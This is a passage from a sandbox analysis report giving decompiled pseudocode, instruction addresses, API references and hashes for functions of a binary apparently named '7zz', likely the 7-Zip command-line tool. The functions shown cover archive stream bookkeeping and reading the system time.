									_push(_t224 + 0x14);
									_push(_t224 + 0x14);
									_push(_t214 + 0x47b4);
									_push(_t214 + 0x160);
									_push(_t220);
									_t93 = E004469A0(_t207,  *( *((intOrPtr*)(_t224 + 0x18))));
									if(_t93 != 0) {
										goto L39;
									} else {
										E004470F0( *_t146,  *((intOrPtr*)(_t224 + 0x10)));
										if( *((intOrPtr*)(_t224 + 0x28)) == 0) {
											_push(_t214 + 0x10);
											_t205 =  *((intOrPtr*)(_t224 + 0x14));
											_push( *((intOrPtr*)(_t224 + 0x14)));
											_t113 = E00447150( *_t146 + 0x400,  *((intOrPtr*)(_t224 + 0x14)));
										} else {
											_t205 =  *((intOrPtr*)(_t224 + 0x10));
											_push(_t214 + 0x10);
											_push( *((intOrPtr*)(_t224 + 0x14)));
											_t113 = E00447240( *_t146 + 0x400,  *((intOrPtr*)(_t224 + 0x10)));
										}
										if(_t113 !=  *((intOrPtr*)(_t224 + 0x1c))) {
											return 1;
										} else {
											asm("cdq");
											asm("sbb edx, ebx");
											asm("adc edx, ecx");
											_t119 = L00447BA0(_t214,  *((intOrPtr*)(_t207 + 8)) -  *((intOrPtr*)(_t207 + 0x10)) - (0x20 -  *_t207 >> 3) +  *((intOrPtr*)(_t207 + 0x18)), _t205);
											if(_t119 == 0) {
												continue;
											} else {
												return _t119;
											}
										}
									}
									goto L40;
								}
							}
							goto L39;
						} else {
							 *((intOrPtr*)(_t214 + 0x7018)) = 0;
							 *((char*)(_t214 + 0x701e)) = 0;
							 *((char*)(_t214 + 0x701d)) = 0;
							 *((char*)(_t214 + 0x701c)) = 0;
							L00467B30(_t214 + 0x7020);
							L00467B10( *((intOrPtr*)(_t214 + 0x6fec)) + 0x18);
							 *((intOrPtr*)(_t214 + 0x7028)) = 0;
							 *((intOrPtr*)(_t214 + 0x7024)) = 0;
							_t150 = _t214 + 0x6ff4;
							 *((intOrPtr*)(_t214 + 0x702c)) = _t220;
							L00467B10(_t214 + 0x6ff4);
							_t208 = 0;
							if( *((intOrPtr*)(_t214 + 0x7010)) > 0) {
								_t223 = 0;
								do {
									L00467AC0( *((intOrPtr*)( *((intOrPtr*)(_t214 + 0x6fec)) + _t223 + 0x10)));
									_t208 = _t208 + 1;
									_t223 = _t223 + 0x11c;
								} while (_t208 <  *((intOrPtr*)(_t214 + 0x7010)));
							}
							L00467B30(_t150);
							L00467B10(_t214 + 0x7020);
							_t209 = 0;
							if( *((intOrPtr*)(_t214 + 0x7010)) > 0) {
								_t222 = 0;
								do {
									_t197 =  *((intOrPtr*)(_t214 + 0x6fec));
									L00467AC0( *((intOrPtr*)( *((intOrPtr*)(_t214 + 0x6fec)) + _t222 + 0x14)));
									_t209 = _t209 + 1;
									_t222 = _t222 + 0x11c;
								} while (_t209 <  *((intOrPtr*)(_t214 + 0x7010)));
							}
							L00467B30(_t214 + 0x7020);
							_t93 =  *((intOrPtr*)(_t214 + 0x7028));
							if(_t93 != 0) {
								goto L39;
							} else {
								_t93 =  *((intOrPtr*)(_t214 + 0x7024));
								if(_t93 != 0) {
									goto L39;
								} else {
									asm("cdq");
									asm("sbb edx, edi");
									asm("adc edx, ebx");
									return L00447BA0(_t214,  *((intOrPtr*)(_t214 + 0x140)) -  *((intOrPtr*)(_t214 + 0x148)) - (0x20 -  *((intOrPtr*)(_t214 + 0x138)) >> 3) +  *((intOrPtr*)(_t214 + 0x150)), _t197);
								}
							}
						}
					} else {
						 *((intOrPtr*)(_t224 + 0x2c)) = 0;
						while(1) {
							_t197 =  *((intOrPtr*)(_t224 + 0x2c));
							_t213 =  *((intOrPtr*)(_t214 + 0x6fec)) +  *((intOrPtr*)(_t224 + 0x2c));
							if(E00445E90( *((intOrPtr*)(_t214 + 0x6fec)) +  *((intOrPtr*)(_t224 + 0x2c))) == 0) {
								break;
							}
							if( *((intOrPtr*)(_t214 + 0x7014)) == 0) {
								L8:
								_t215 = _t215 + 1;
								 *((intOrPtr*)(_t224 + 0x2c)) =  *((intOrPtr*)(_t224 + 0x2c)) + 0x11c;
								if(_t215 <  *((intOrPtr*)(_t214 + 0x7010))) {
									continue;
								} else {
									goto L9;
								}
							} else {
								_t93 = L00467B30(_t213 + 0x10);
								if(_t93 != 0) {
									goto L39;
								} else {
									_t93 = L00467B30(_t213 + 0x14);
									if(_t93 != 0) {
										goto L39;
									} else {
										_t93 = L00467B30(_t213 + 0x18);
										if(_t93 != 0) {
											goto L39;
										} else {
											goto L8;
										}
									}
								}
							}
							goto L40;
						}
						return 0x8007000e;
					}
				}
				L40:
			}

0x004465ea
0x004465ed
0x004465f3
0x004465fc
0x00446994
0x00446994
0x00446602
0x00446608
0x0044660c
0x00446680
0x00446680
0x00446684
0x00446686
0x0044668a
0x00446691
0x00446695
0x00446696
0x004466a0
0x0044698b
0x00000000
0x0044698b
0x004466bc
0x004466c2
0x00000000
0x00000000
0x004466d5
0x004466d9
0x004466f8
0x00446700
0x0044685d
0x0044686a
0x00446872
0x0044687b
0x00446882
0x00446888
0x0044688f
0x00446895
0x004468a1
0x004468a8
0x00000000
0x00000000
0x004468b4
0x00000000
0x00000000
0x004468ba
0x004468c6
0x004468cb
0x004468d2
0x004468d9
0x004468da
0x004468dd
0x004468e0
0x004468e7
0x00000000
0x004468ed
0x004468f3
0x004468fe
0x0044692b
0x0044692c
0x00446930
0x00446931
0x00446900
0x00446904
0x0044690b
0x0044690c
0x00446915
0x00446915
0x0044693a
0x00446988
0x0044693c
0x0044694f
0x00446958
0x0044695f
0x00446965
0x0044696c
0x00000000
0x00446979
0x00446979
0x00446979
0x0044696c
0x0044693a
0x00000000
0x004468e7
0x00446895
0x00000000
0x00446706
0x0044670c
0x00446712
0x00446719
0x00446720
0x00446727
0x00446735
0x0044673a
0x00446740
0x00446746
0x0044674c
0x00446754
0x0044675f
0x00446763
0x00446765
0x00446767
0x00446771
0x0044677c
0x0044677d
0x00446783
0x00446767
0x00446789
0x00446794
0x0044679f
0x004467a3
0x004467a5
0x004467a7
0x004467a7
0x004467b1
0x004467bc
0x004467bd
0x004467c3
0x004467a7
0x004467cd
0x004467d2
0x004467da
0x00000000
0x004467e0
0x004467e0
0x004467e8
0x00000000
0x004467ee
0x00446815
0x0044681d
0x00446821
0x00446833
0x00446833
0x004467e8
0x004467da
0x0044660e
0x0044660e
0x00446612
0x00446618
0x0044661c
0x00446627
0x00000000
0x00000000
0x00446635
0x00446667
0x00446671
0x0044667a
0x0044667e
0x00000000
0x00000000
0x00000000
0x00000000
0x00446637
0x0044663a
0x00446641
0x00000000
0x00446647
0x0044664a
0x00446651
0x00000000
0x00446657
0x0044665a
0x00446661
0x00000000
0x00000000
0x00000000
0x00000000
0x00446661
0x00446651
0x00446641
0x00000000
0x00446635
0x00446842
0x00446842
0x0044660c
0x00000000

Strings

h, xrefs: 004466B1
Z, xrefs: 004466A6
B, xrefs: 0044669B

Memory Dump Source

Source File: 0000000B.00000002.353629100.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.353620656.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353773201.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353794533.000000000048A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353810041.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353815921.000000000048C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353820295.000000000048D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353830778.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353838498.0000000000499000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_7zz.jbxd

Similarity

API ID: ErrorEventLastReset
String ID: B$Z$h
API String ID: 1621066496-418080759
Opcode ID: 31eb4e5eb83f84a862abec244540b5fd79ff3231d1edc22ba3dc5a5c688854da
Instruction ID: 230a258f7045333de16a7656bf94cdb6ffb83da81a8c701ada6b5a21721b5eb4
Opcode Fuzzy Hash: 31eb4e5eb83f84a862abec244540b5fd79ff3231d1edc22ba3dc5a5c688854da
Instruction Fuzzy Hash: 05A126717047018BD724DF39C890AABB7E1AF85308F45092EE5AA83341DB39F94DCB96

Uniqueness

Uniqueness Score: -1.00%

Function 004285AD Relevance: 3.9, APIs: 1, Strings: 1, Instructions: 379
COMMONCrypto

Download Yara Rule

C-Code - Quality: 89%

			E004285AD(void* __ecx) {
				signed int _t160;
				intOrPtr _t162;
				signed int _t163;
				signed int _t164;
				signed int _t166;
				intOrPtr _t175;
				void* _t178;
				intOrPtr* _t188;
				signed int _t194;
				signed int _t196;
				intOrPtr* _t199;
				signed int _t202;
				signed int* _t205;
				intOrPtr _t211;
				signed int _t215;
				void* _t225;
				void* _t226;
				signed int _t240;
				signed int _t241;
				void* _t242;
				void* _t243;
				signed int _t244;
				void* _t245;
				intOrPtr _t246;
				signed int _t247;
				signed int _t250;
				signed int _t254;
				signed int _t255;
				signed int _t256;
				signed int _t258;
				signed int _t274;
				signed int _t276;
				void* _t278;
				signed int _t281;
				signed int _t296;
				void* _t297;
				signed int _t298;
				signed int _t299;
				void* _t301;
				intOrPtr* _t302;
				signed int _t303;
				signed int _t305;
				void* _t307;
				intOrPtr _t308;
				void* _t309;
				signed int _t310;
				void* _t312;
				signed int _t313;
				intOrPtr _t314;
				void* _t315;
				void* _t317;
				void* _t319;

				L0046B890(E00476AE2, _t319);
				_t317 = __ecx;
				_t305 = 0;
				if( *((char*)(__ecx + 0x110)) == 0) {
					_t250 =  *(__ecx + 0x24);
					if(_t250 != 0) {
						__eflags = _t250;
						 *(_t319 - 0x18) = 0;
						 *(_t319 - 0x14) = 0;
						 *(_t319 - 0x10) = 0;
						if(_t250 > 0) {
							do {
								_t303 =  *(_t319 - 0x10);
								__eflags =  *(_t317 + 0x38);
								_t211 =  *((intOrPtr*)( *((intOrPtr*)(_t317 + 0x28)) + _t303 * 4));
								_t314 =  *((intOrPtr*)(_t211 + 0x20));
								_t246 =  *((intOrPtr*)(_t211 + 0x24));
								 *((intOrPtr*)(_t319 - 0x20)) = _t314;
								if( *(_t317 + 0x38) == 0) {
									__eflags = _t303 - _t250 - 1;
									if(__eflags >= 0) {
										_t315 = _t317 + 0x94;
										E00408767(_t315, __eflags, 0);
										_t314 =  *((intOrPtr*)(_t319 - 0x20));
										 *( *(_t315 + 0xc)) =  *(_t319 - 0x14);
									} else {
										L0042389F(_t317 + 0x6c,  *(_t319 - 0x18) + _t246,  *(_t319 - 0x14));
									}
									_t215 = 1;
									__eflags = _t314 - _t215;
									 *(_t319 - 0x1c) = _t215;
									if(_t314 > _t215) {
										do {
											E00415C6D(_t317 + 0x94,  *(_t319 - 0x1c) +  *(_t319 - 0x14));
											 *(_t319 - 0x1c) =  *(_t319 - 0x1c) + 1;
											__eflags =  *(_t319 - 0x1c) - _t314;
										} while ( *(_t319 - 0x1c) < _t314);
									}
								}
								 *(_t319 - 0x18) =  *(_t319 - 0x18) + _t246;
								 *(_t319 - 0x14) =  *(_t319 - 0x14) + _t314;
								L0042389F(_t317 + 0x58, _t246, _t314);
								_t250 =  *(_t317 + 0x24);
								 *(_t319 - 0x10) =  *(_t319 - 0x10) + 1;
								__eflags =  *(_t319 - 0x10) - _t250;
							} while ( *(_t319 - 0x10) < _t250);
							_t305 = 0;
							__eflags = 0;
						}
						_t160 =  *(_t317 + 0x38);
						__eflags = _t160 - _t305;
						if(_t160 != _t305) {
							 *(_t319 - 0x10) =  *(_t319 - 0x10) & 0x00000000;
							__eflags = _t160;
							if(_t160 > 0) {
								_t65 = _t319 - 0x1c;
								 *_t65 =  *(_t319 - 0x1c) & 0x00000000;
								__eflags =  *_t65;
								do {
									_t278 = 0;
									_t205 =  *((intOrPtr*)(_t317 + 0x3c)) +  *(_t319 - 0x1c);
									_t244 =  *_t205;
									__eflags = _t244;
									if(_t244 > 0) {
										_t302 =  *((intOrPtr*)(_t317 + 0x64));
										do {
											_t278 = _t278 +  *_t302;
											_t302 = _t302 + 8;
											_t244 = _t244 - 1;
											__eflags = _t244;
										} while (_t244 != 0);
									}
									_t313 = _t205[2];
									_t301 = _t205[1] + _t278;
									_t245 = 0;
									__eflags = _t313;
									if(_t313 > 0) {
										_t281 =  *((intOrPtr*)(_t317 + 0x64)) + 4;
										__eflags = _t281;
										do {
											_t245 = _t245 +  *_t281;
											_t281 = _t281 + 8;
											_t313 = _t313 - 1;
											__eflags = _t313;
										} while (_t313 != 0);
									}
									L0042389F(_t317 + 0x6c, _t301, _t205[3] + _t245);
									 *(_t319 - 0x10) =  *(_t319 - 0x10) + 1;
									 *(_t319 - 0x1c) =  *(_t319 - 0x1c) + 0x10;
									__eflags =  *(_t319 - 0x10) -  *(_t317 + 0x38);
								} while ( *(_t319 - 0x10) <  *(_t317 + 0x38));
							}
							_t312 = 0;
							__eflags =  *(_t319 - 0x14);
							if( *(_t319 - 0x14) > 0) {
								do {
									_t276 =  *(_t317 + 0x74);
									_t299 = 0;
									__eflags = _t276;
									if(_t276 <= 0) {
										L31:
										_t299 = _t299 | 0xffffffff;
										__eflags = _t299;
									} else {
										_t202 =  *((intOrPtr*)(_t317 + 0x78)) + 4;
										__eflags = _t202;
										while(1) {
											__eflags =  *_t202 - _t312;
											if( *_t202 == _t312) {
												goto L32;
											}
											_t299 = _t299 + 1;
											_t202 = _t202 + 8;
											__eflags = _t299 - _t276;
											if(_t299 < _t276) {
												continue;
											} else {
												goto L31;
											}
											goto L32;
										}
									}
									L32:
									__eflags = _t299 - 0xffffffff;
									if(_t299 == 0xffffffff) {
										E00415C6D(_t317 + 0x94, _t312);
									}
									_t312 = _t312 + 1;
									__eflags = _t312 -  *(_t319 - 0x14);
								} while (_t312 <  *(_t319 - 0x14));
							}
						}
						_t307 = 0;
						__eflags =  *(_t319 - 0x18);
						if( *(_t319 - 0x18) > 0) {
							do {
								_t274 =  *(_t317 + 0x74);
								_t298 = 0;
								__eflags = _t274;
								if(_t274 <= 0) {
									L40:
									_t298 = _t298 | 0xffffffff;
									__eflags = _t298;
								} else {
									_t199 =  *((intOrPtr*)(_t317 + 0x78));
									while(1) {
										__eflags =  *_t199 - _t307;
										if( *_t199 == _t307) {
											goto L41;
										}
										_t298 = _t298 + 1;
										_t199 = _t199 + 8;
										__eflags = _t298 - _t274;
										if(_t298 < _t274) {
											continue;
										} else {
											goto L40;
										}
										goto L41;
									}
								}
								L41:
								__eflags = _t298 - 0xffffffff;
								if(_t298 == 0xffffffff) {
									E00415C6D(_t317 + 0x80, _t307);
								}
								_t307 = _t307 + 1;
								__eflags = _t307 -  *(_t319 - 0x18);
							} while (_t307 <  *(_t319 - 0x18));
						}
						__eflags =  *(_t317 + 0x88);
						if( *(_t317 + 0x88) == 0) {
							 *(_t319 - 0x1c) = 1;
							E0046B8F4(_t319 - 0x1c, 0x47e128);
						}
						_t162 =  *((intOrPtr*)( *((intOrPtr*)(_t317 + 0x8c))));
						while(1) {
							_t163 = E00424159(_t317 + 0x58, _t162, _t319 - 0x1c, _t319 - 0x10);
							_t254 =  *(_t319 - 0x1c);
							_t308 = 0;
							__eflags = _t254;
							if(_t254 <= 0) {
								goto L50;
							}
							_t196 =  *((intOrPtr*)(_t317 + 0x64)) + 4;
							__eflags = _t196;
							do {
								_t308 = _t308 +  *_t196;
								_t196 = _t196 + 8;
								_t254 = _t254 - 1;
								__eflags = _t254;
							} while (_t254 != 0);
							L50:
							_t255 =  *(_t317 + 0x74);
							_t296 = 0;
							__eflags = _t255;
							if(_t255 <= 0) {
								L54:
								_t164 = _t163 | 0xffffffff;
								__eflags = _t164;
							} else {
								_t194 =  *((intOrPtr*)(_t317 + 0x78)) + 4;
								__eflags = _t194;
								while(1) {
									__eflags =  *_t194 - _t308;
									if( *_t194 == _t308) {
										break;
									}
									_t296 = _t296 + 1;
									_t194 = _t194 + 8;
									__eflags = _t296 - _t255;
									if(_t296 < _t255) {
										continue;
									} else {
										goto L54;
									}
									goto L55;
								}
								_t164 = _t296;
							}
							L55:
							__eflags = _t164;
							if(_t164 >= 0) {
								_t162 =  *((intOrPtr*)( *((intOrPtr*)(_t317 + 0x78)) + _t164 * 8));
								continue;
							}
							_t256 =  *(_t317 + 0x9c);
							_t297 = 0;
							__eflags = _t256;
							if(_t256 > 0) {
								_t188 =  *((intOrPtr*)(_t317 + 0xa0));
								while(1) {
									__eflags =  *_t188 - _t308;
									if(__eflags == 0) {
										break;
									}
									_t297 = _t297 + 1;
									_t188 = _t188 + 4;
									__eflags = _t297 - _t256;
									if(_t297 < _t256) {
										continue;
									} else {
									}
									goto L64;
								}
								_t243 = _t317 + 0x94;
								 *((intOrPtr*)( *((intOrPtr*)(_t317 + 0x94)) + 4))(_t297, 1);
								E00408767(_t243, __eflags, 0);
								 *((intOrPtr*)( *((intOrPtr*)(_t243 + 0xc)))) = _t308;
							}
							L64:
							__eflags =  *((char*)(_t317 + 0x48));
							if( *((char*)(_t317 + 0x48)) != 0) {
								_t310 =  *(_t317 + 0x9c);
								_t241 = 0;
								__eflags = _t310;
								 *(_t319 - 0x1c) = _t310;
								if(_t310 > 0) {
									do {
										L0042389F(_t317 + 0x6c,  *(_t319 - 0x18) + _t241,  *((intOrPtr*)( *((intOrPtr*)(_t317 + 0xa0)) + _t241 * 4)));
										_t241 = _t241 + 1;
										__eflags = _t241 - _t310;
									} while (_t241 < _t310);
								}
								E0040862D();
								_t242 = 0;
								__eflags = _t310;
								if(_t310 > 0) {
									 *(_t319 - 0x18) = _t319 - 0x44;
									do {
										E00404AD0(_t319 - 0x44, 4);
										 *(_t319 - 0x44) = 0x47b178;
										 *(_t319 - 0x48) =  *(_t319 - 0x48) & 0x00000000;
										_t175 = 1;
										 *((intOrPtr*)(_t319 - 0x2c)) = _t175;
										 *((intOrPtr*)(_t319 - 0x28)) = _t175;
										 *(_t319 - 4) = 2;
										_push(_t319 - 0x4c);
										 *((intOrPtr*)(_t319 - 0x4c)) = 0x6f10701;
										E00428BB4(_t317 + 0x1c);
										_t178 = 1;
										L0042389F(_t317 + 0x58, _t178, _t178);
										E00415C6D(_t317 + 0x94,  *(_t319 - 0x14) + _t242);
										 *(_t319 - 0x44) = 0x47b178;
										 *(_t319 - 4) = 3;
										E0040862D();
										 *(_t319 - 4) =  *(_t319 - 4) | 0xffffffff;
										E00408604(_t319 - 0x44);
										_t242 = _t242 + 1;
										__eflags = _t242 -  *(_t319 - 0x1c);
									} while (_t242 <  *(_t319 - 0x1c));
								}
							}
							goto L70;
						}
					} else {
						if( *((char*)(__ecx + 0x48)) == 0) {
							 *(_t319 - 0x1c) = 1;
							E0046B8F4(_t319 - 0x1c, 0x47e128);
						}
						if( *(_t317 + 0x38) != _t305) {
							 *(_t319 - 0x1c) = 1;
							E0046B8F4(_t319 - 0x1c, 0x47e128);
						}
						E00428B61(_t319 - 0x6c);
						_t247 = 1;
						_push(_t319 - 0x74);
						 *(_t319 - 4) = _t305;
						 *(_t319 - 0x54) = _t247;
						 *(_t319 - 0x50) = _t247;
						 *((intOrPtr*)(_t319 - 0x74)) = 0x6f10701;
						 *(_t319 - 0x70) = _t305;
						E00428BB4(_t317 + 0x1c);
						_t225 = _t247;
						_push(_t225);
						_t226 = _t247;
						_push(_t226);
						L0042389F(_t317 + 0x58);
						E00415C6D(_t317 + 0x80, _t305);
						E00415C6D(_t317 + 0x94, _t305);
						 *(_t319 - 0x6c) = 0x47b178;
						 *(_t319 - 0x1c) = _t319 - 0x6c;
						 *(_t319 - 4) = _t247;
						E0040862D();
						 *(_t319 - 4) =  *(_t319 - 4) | 0xffffffff;
						E00408604(_t319 - 0x6c);
					}
					L70:
					_t240 =  *(_t317 + 0x24) - 1;
					if(_t240 >= 0) {
						_t309 = _t317 + 0xfc;
						do {
							L0042389F(_t309,  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t317 + 0x28)) + _t240 * 4)))),  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t317 + 0x28)) + _t240 * 4)) + 4)));
							_t240 = _t240 - 1;
						} while (_t240 >= 0);
					}
					_push(0xa8);
					_t258 = L004079F2();
					 *(_t319 - 0x1c) = _t258;
					_t330 = _t258;
					 *(_t319 - 4) = 4;
					if(_t258 == 0) {
						_t166 = 0;
						__eflags = 0;
					} else {
						_push(_t317 + 0x58);
						_t166 = L004233F8(_t258, _t330);
					}
					 *(_t319 - 4) =  *(_t319 - 4) | 0xffffffff;
					 *((intOrPtr*)(_t317 + 0xf8)) = _t166;
					L00423685(_t166, _t317 + 0xa8);
					 *((char*)(_t317 + 0x110)) = 1;
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t319 - 0xc));
				return 0;
			}

0x004285b2
0x004285bc
0x004285bf
0x004285c8
0x004285ce
0x004285d3
0x00428687
0x00428689
0x0042868c
0x0042868f
0x00428692
0x00428698
0x0042869b
0x0042869e
0x004286a2
0x004286a5
0x004286a8
0x004286ab
0x004286ae
0x004286b1
0x004286b3
0x004286c8
0x004286d2
0x004286dd
0x004286e0
0x004286b5
0x004286c1
0x004286c1
0x004286e4
0x004286e5
0x004286e7
0x004286ea
0x004286ec
0x004286fb
0x00428700
0x00428703
0x00428703
0x004286ec
0x004286ea
0x00428708
0x0042870b
0x00428713
0x00428718
0x0042871b
0x0042871e
0x0042871e
0x00428727
0x00428727
0x00428727
0x00428729
0x0042872c
0x0042872e
0x00428734
0x00428738
0x0042873a
0x0042873c
0x0042873c
0x0042873c
0x00428740
0x00428743
0x00428745
0x00428748
0x0042874a
0x0042874c
0x0042874e
0x00428751
0x00428751
0x00428753
0x00428756
0x00428756
0x00428756
0x00428751
0x0042875c
0x0042875f
0x00428761
0x00428763
0x00428765
0x0042876a
0x0042876a
0x0042876d
0x0042876d
0x0042876f
0x00428772
0x00428772
0x00428772
0x0042876d
0x0042877f
0x00428784
0x0042878a
0x0042878e
0x0042878e
0x00428740
0x00428793
0x00428795
0x00428798
0x0042879a
0x0042879a
0x0042879d
0x0042879f
0x004287a1
0x004287b5
0x004287b5
0x004287b5
0x004287a3
0x004287a6
0x004287a6
0x004287a9
0x004287a9
0x004287ab
0x00000000
0x00000000
0x004287ad
0x004287ae
0x004287b1
0x004287b3
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004287b3
0x004287a9
0x004287b8
0x004287b8
0x004287bb
0x004287c4
0x004287c4
0x004287c9
0x004287ca
0x004287ca
0x0042879a
0x00428798
0x004287cf
0x004287d1
0x004287d4
0x004287d6
0x004287d6
0x004287d9
0x004287db
0x004287dd
0x004287ee
0x004287ee
0x004287ee
0x004287df
0x004287df
0x004287e2
0x004287e2
0x004287e4
0x00000000
0x00000000
0x004287e6
0x004287e7
0x004287ea
0x004287ec
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004287ec
0x004287e2
0x004287f1
0x004287f1
0x004287f4
0x004287fd
0x004287fd
0x00428802
0x00428803
0x00428803
0x004287d6
0x00428808
0x0042880f
0x0042881a
0x00428821
0x00428821
0x0042882c
0x0042882e
0x0042883a
0x0042883f
0x00428842
0x00428844
0x00428846
0x00000000
0x00000000
0x0042884b
0x0042884b
0x0042884e
0x0042884e
0x00428850
0x00428853
0x00428853
0x00428853
0x00428856
0x00428856
0x00428859
0x0042885b
0x0042885d
0x00428871
0x00428871
0x00428871
0x0042885f
0x00428862
0x00428862
0x00428865
0x00428865
0x00428867
0x00000000
0x00000000
0x00428869
0x0042886a
0x0042886d
0x0042886f
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0042886f
0x00428880
0x00428880
0x00428874
0x00428874
0x00428876
0x0042887b
0x00000000
0x0042887b
0x00428884
0x0042888a
0x0042888c
0x0042888e
0x00428890
0x00428896
0x00428896
0x00428898
0x00000000
0x00000000
0x0042889a
0x0042889b
0x0042889e
0x004288a0
0x00000000
0x00000000
0x004288a2
0x00000000
0x004288a0
0x004288aa
0x004288b5
0x004288bc
0x004288c4
0x004288c4
0x004288c6
0x004288c6
0x004288ca
0x004288d0
0x004288d6
0x004288d8
0x004288da
0x004288dd
0x004288df
0x004288f1
0x004288f6
0x004288f7
0x004288f7
0x004288df
0x00428901
0x00428906
0x00428908
0x0042890a
0x00428918
0x0042891b
0x00428920
0x00428925
0x0042892a
0x0042892e
0x00428932
0x00428935
0x0042893b
0x00428942
0x00428943
0x0042894a
0x00428954
0x00428957
0x00428968
0x0042896d
0x00428973
0x0042897a
0x0042897f
0x00428986
0x0042898b
0x0042898c
0x0042898c
0x0042891b
0x0042890a
0x00000000
0x004288ca
0x004285d9
0x004285dd
0x004285e8
0x004285ef
0x004285ef
0x004285f7
0x00428602
0x00428609
0x00428609
0x00428611
0x0042861b
0x0042861f
0x00428620
0x00428623
0x00428626
0x00428629
0x00428630
0x00428633
0x0042863c
0x0042863d
0x0042863f
0x00428640
0x00428641
0x0042864d
0x00428659
0x00428661
0x00428668
0x0042866e
0x00428671
0x00428676
0x0042867d
0x0042867d
0x00428991
0x00428994
0x00428997
0x00428999
0x0042899f
0x004289ac
0x004289b1
0x004289b1
0x0042899f
0x004289b4
0x004289bf
0x004289c1
0x004289c4
0x004289c6
0x004289cd
0x004289da
0x004289da
0x004289cf
0x004289d2
0x004289d3
0x004289d3
0x004289dc
0x004289e9
0x004289ef
0x004289f4
0x004289f4
0x00428a03
0x00428a0b

APIs

__EH_prolog.LIBCMT ref: 004285B2

Part of subcall function 0046B8F4: KiUserExceptionDispatcher.NTDLL(0047CF70,?,00405CA1,?,?,?,0047CF70,?,?,?,00405CA1), ref: 0046B922

Strings

-B, xrefs: 00428661, 00428913

Memory Dump Source

Source File: 0000000B.00000002.353629100.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.353620656.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353773201.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353794533.000000000048A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353810041.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353815921.000000000048C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353820295.000000000048D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353830778.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353838498.0000000000499000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_7zz.jbxd

Similarity

API ID: DispatcherExceptionH_prologUser
String ID: -B
API String ID: 1315020900-1556737743
Opcode ID: a587ee391ba7715733a5081b4d16e0e290bd1bb4e446bdd9fb0199ce1eec7d12
Instruction ID: 497342fa4ed3f4b9ebe93b95b60b4c65b54af6a842b733f80198680210375e09
Opcode Fuzzy Hash: a587ee391ba7715733a5081b4d16e0e290bd1bb4e446bdd9fb0199ce1eec7d12
Instruction Fuzzy Hash: FCE1F271A007158FDB24DFAAD981BAFB3F5FF84304FA0451EE056A7281DB38A941CB18

Uniqueness

Uniqueness Score: -1.00%

Function 0040C756 Relevance: 3.0, APIs: 2, Instructions: 15
timeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040C756(struct _FILETIME* __ecx) {
				struct _SYSTEMTIME _v20;
				struct _FILETIME* _t7;

				_t7 = __ecx;
				GetSystemTime( &_v20);
				return SystemTimeToFileTime( &_v20, _t7);
			}

0x0040c760
0x0040c763
0x0040c776

APIs

GetSystemTime.KERNEL32(?,?,?,00000000,00000000,00490AB0), ref: 0040C763
SystemTimeToFileTime.KERNEL32(?,?), ref: 0040C76E

Memory Dump Source

Source File: 0000000B.00000002.353629100.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.353620656.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353773201.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353794533.000000000048A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353810041.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353815921.000000000048C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353820295.000000000048D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353830778.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353838498.0000000000499000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_7zz.jbxd

Similarity

API ID: Time$System$File
String ID:
API String ID: 2838179519-0
Opcode ID: f99081a57e20e77144345343434b143621f6c0873b93853711f5c94f6b142cd8
Instruction ID: 3ee87ebca316f74d42706c1ab11f39572f018b02ddf3dd2ab21967cb3d1fbd11
Opcode Fuzzy Hash: f99081a57e20e77144345343434b143621f6c0873b93853711f5c94f6b142cd8
Instruction Fuzzy Hash: 95D0C972810129AB9B00ABA89C0D8EF7BACEA49114B840866A555D3041E6B0E51487E5

Uniqueness

Uniqueness Score: -1.00%

Function 00434D28 Relevance: 2.5, APIs: 1, Instructions: 999
COMMONCrypto

Download Yara Rule

C-Code - Quality: 76%

			E00434D28() {
				signed int _t538;
				signed int _t539;
				signed int _t544;
				signed int _t545;
				signed int _t546;
